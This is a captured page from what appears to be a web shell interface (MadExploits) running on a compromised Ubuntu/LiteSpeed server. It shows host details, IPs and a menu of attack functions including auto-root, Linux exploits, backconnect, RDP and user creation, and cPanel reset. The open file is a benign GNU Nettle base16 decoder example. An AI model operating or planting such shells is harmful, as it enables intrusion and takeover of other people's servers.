Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
nettle-dev /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
base16dec.c
2.95
KB
-rw-r--r--
base16enc.c
2.78
KB
-rw-r--r--
base64dec.c
2.95
KB
-rw-r--r--
base64enc.c
2.92
KB
-rw-r--r--
ecc-benchmark.c
7.57
KB
-rw-r--r--
hogweed-benchmark.c
26.42
KB
-rw-r--r--
io.c
3.63
KB
-rw-r--r--
io.h
2.1
KB
-rw-r--r--
nettle-benchmark.c
22.63
KB
-rw-r--r--
nettle-openssl.c
10.68
KB
-rw-r--r--
random-prime.c
3.21
KB
-rw-r--r--
read_rsa_key.c
1.51
KB
-rw-r--r--
rsa-decrypt.c
5.45
KB
-rw-r--r--
rsa-encrypt.c
5.64
KB
-rw-r--r--
rsa-keygen.c
4.56
KB
-rw-r--r--
rsa-session.h
1.68
KB
-rw-r--r--
rsa-sign.c
2.04
KB
-rw-r--r--
rsa-verify.c
2.29
KB
-rw-r--r--
sha-example.c
703
B
-rw-r--r--
timing.c
2.64
KB
-rw-r--r--
timing.h
1.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : base16dec.c
/* base16dec -- an decoder for base16 Copyright (C) 2006, 2012 Jeronimo Pellegrini, Niels Möller This file is part of GNU Nettle. GNU Nettle is free software: you can redistribute it and/or modify it under the terms of either: * the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. or * the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. or both in parallel, as here. GNU Nettle is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received copies of the GNU General Public License and the GNU Lesser General Public License along with this program. If not, see http://www.gnu.org/licenses/. */ #if HAVE_CONFIG_H # include "config.h" #endif #include <errno.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #ifdef WIN32 #include <fcntl.h> #endif #include "base16.h" #include "io.h" #define CHUNK_SIZE 16392 /* The maximum number of bytes generated for each chunk: */ #define DECODED_SIZE BASE16_DECODE_LENGTH(CHUNK_SIZE) /* * Reads base-16 encoded from stdin, writes decoded to stdout. */ int main(int argc UNUSED, char **argv UNUSED) { /* "buffer" will hold the bytes from disk: */ char * buffer = xalloc (CHUNK_SIZE); /* "result" will hold bytes before output: */ uint8_t * result = xalloc (DECODED_SIZE); /* We need a Base16 context for decoding: */ struct base16_decode_ctx b16_ctx; /* Init the context: */ base16_decode_init (&b16_ctx); #ifdef WIN32 _setmode(1, O_BINARY); #endif for (;;) { int nbytes; /* Number of bytes read frmo disk at each iteration */ size_t decoded_bytes; /* Bytes actually generated at each iteration */ nbytes = fread(buffer, 1, CHUNK_SIZE, stdin); if (nbytes < CHUNK_SIZE && ferror(stdin)) { werror ("Error reading file: %s\n", strerror(errno)); return EXIT_FAILURE; } /* Decodes one chunk: */ if (!base16_decode_update(&b16_ctx, &decoded_bytes, result, nbytes, buffer)) { werror ("Error decoding input (not base16?)\n"); return EXIT_FAILURE; } if (!write_data (stdout, decoded_bytes, result)) { werror ("Error writing file: %s\n", strerror(errno)); return EXIT_FAILURE; } if (nbytes < CHUNK_SIZE) { /* Check if decoding finalized OK: */ if (!base16_decode_final(&b16_ctx)) { werror("Decoding did not finish properly.\n"); return EXIT_FAILURE; } break; } } if (fflush (stdout) != 0) { werror ("Error writing file: %s\n", strerror(errno)); return EXIT_FAILURE; } free (buffer); free (result); return EXIT_SUCCESS; }
Close